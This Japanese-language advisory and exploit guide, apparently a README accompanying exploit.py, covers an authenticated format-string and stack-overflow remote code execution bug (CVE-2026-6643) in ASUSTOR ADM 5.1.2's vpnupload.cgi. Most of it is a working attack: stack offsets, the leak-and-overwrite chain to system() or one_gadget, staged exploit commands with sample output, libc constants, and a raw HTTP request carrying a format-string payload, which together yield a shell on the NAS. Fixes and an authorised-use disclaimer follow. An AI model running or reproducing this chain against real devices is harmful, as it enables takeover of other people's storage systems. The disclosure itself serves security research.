
ASUSTOR ADM 5.1.2 vpnupload.cgi フォーマット文字列 & スタックバッファオーバーフロー RCE (CVE-2026-6643)
| 項目 | 値 |
|---|
| 製品 | ASUSTOR ADM(ASUSTOR Data Master) |
| 影響を受けるバージョン | ADM 5.1.2.REO1(X64_G3、2026-02-25) |
| コンポーネント | /portal/apis/settings/vpnupload.cgi — upload_wireguard アクション |
| 脆弱性タイプ | CWE-134 フォーマット文字列 / CWE-121 スタックバッファオーバーフロー |
| 深刻度 | 高 |
| 認証要件 | あり(有効な Revive_Session クッキー) |
| 発見日 | 2026-03-14 |
upload_wireguard ハンドラは WireGuard 設定ファイルをパースし、各フィールドを JSON オブジェクトにまとめた後、その結果をそのまま printf() のフォーマット文字列引数として渡します。
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2); // ユーザー制御のフォーマット文字列
攻撃者は任意の WireGuard 設定フィールドに printf フォーマット指定子を埋め込むことができます。
%x / %p — スタックメモリの読み取り(情報漏洩)%n — 任意のメモリへの書き込み(GOT 上書きによるコード実行)同じハンドラが、300 バイトのスタックバッファに設定値をコピーするために無制限の sscanf("%s") を使用していますが、fgets は 1 行あたり最大 32,768 バイトを受け入れます。
__isoc23_sscanf(__s, "PrivateKey = %s", local_ac4); // 300B
__isoc23_sscanf(__s, "Endpoint = %s", local_164); // 300B
// 合計 8 フィールド。DNS のみ長さ制限あり
300 バイトを超える値を指定すると、隣接するバッファがオーバーフローします。4,000 バイトで保存された RIP が破壊され、SIGSEGV が発生します。
| 保護機構 | 状態 | 影響 |
|---|---|---|
| FORTIFY_SOURCE | 無効 | printf(__printf_chk ではない)— %n 書き込みが動作する |
| スタックカナリ | 無効 | カナリの漏洩は不要 |
| PIE | 無効 | GOT とガジェットのアドレスは静的 |
| RELRO | Partial | GOT が書き込み可能 |
Step 1 フォーマット文字列 %x → スタックメモリを漏洩し、libc のベースを復元
Step 2 Endpoint のオーバーフロー → 保存された RIP を one-gadget / system() で上書き
Step 3 execve("/bin/sh") → Web サーバーユーザー権限のシェルを取得
local_164(Endpoint バッファ)は rbp-0x164 に位置し、8 つのバッファの中で保存されたリターンアドレスに最も近い位置にあります。
スタックレイアウト(Ghidra):
local_ac4 PrivateKey rbp-0xac4 300B
local_998 Address rbp-0x998 300B
local_86c PublicKey rbp-0x86c 300B
local_740 ListenPort rbp-0x740 300B
local_4e8 PresharedKey rbp-0x4e8 300B
local_3bc AllowedIPs rbp-0x3bc 300B
local_290 PersistentKeepalive rbp-0x290 300B
local_164 Endpoint rbp-0x164 300B ← ターゲット
保存された RBP rbp+0x000
保存された RIP rbp+0x008 ← 0x164 + 8 = 364 バイト先
sscanf("%s") はヌルバイトに達するとコピーを停止します。リトルエンディアンの libc アドレス(0x7f...)は末尾に 2 バイトのヌルが含まれます。しかし、保存された RIP の上位 2 バイトはすでに 0x0000 であるため、sscanf が早期終了しても書き込みは正しく行われます。
one_gadget アドレス 0x00007f1234567890 (リトルエンディアン):
\x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
^--- sscanf はここで停止
しかしこれらのバイトはすでに 0x00 → 正しい
中間の ROP ガジェットはすべて libc(0x7f... 範囲)から取得する必要があり、埋め込まれたヌルバイトを避ける必要があります。チェーン内の最終値のみ、ヌルで終了しても構いません。
uv add requests
uv run exploit.py <host:port> '<cookie>' --stage offset
出力例:
[*] Detecting format string argument offset...
[+] Offset: 8 (echo: AAAA.41414141...)
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8
出力例:
[+] Stack dump (args 8..47):
[ 8] 0x0000000000000000
[ 9] 0x00007f8b2c3d4e5f ← libc candidate
...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
Subtract the known offset of whichever symbol this is:
libc_base = 0x7f8b2c3d4e5f - <symbol_offset>
シンボルを特定し、libc ベースを計算します。
readelf -s libc.so.6 | grep -w __libc_start_main
# 例. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
# まず one_gadget を試す(正しいオフセットを得るには one_gadget ツールを使用)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000
# one_gadget が失敗した場合のフォールバック: pop rdi + system() ROP チェーン
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'
ファームウェアイメージから libc.so.6 を抽出し、以下を実行します。
# system() のオフセット
readelf -s libc.so.6 | grep -w system
# /bin/sh 文字列のオフセット
strings -a -t x libc.so.6 | grep '/bin/sh'
# one_gadget オフセット
one_gadget libc.so.6 # gem install one_gadget
exploit.py 内の定数を更新します。
LIBC_SYSTEM = 0x055410
LIBC_BINSH = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND
--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"
dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"
[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1
[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
注: 2 つのマルチパートセクションが必要です。パーサーはバウンダリカウンタを使用します。
sscanfのパースは 2 番目のセクションでのみ有効になります。
レスポンス(clientprivatekey フィールド):
AAAA_feebd19f_0000012b_0000007d_00000002
PrivateKey を 4,000 バイトに設定 → SIGSEGV(終了コード 139)。
| 脆弱性 | 修正 |
|---|---|
| フォーマット文字列 | printf(pcVar2) を printf("%s", pcVar2) または fputs(pcVar2, stdout) に置き換える |
| バッファオーバーフロー | すべての sscanf のフォーマット文字列に長さ制限を追加する(例:300 バイトバッファには %299s) |
X64_G3_5.1.2.REO1.img — イメージから抽出した vpnupload.cgild-linux と共有ライブラリを使用je → jmp(オフセット 0x1224)このエクスプロイトはセキュリティ研究と許可されたテスト目的でのみ提供されています。明示的な許可なくシステムに対して使用しないでください。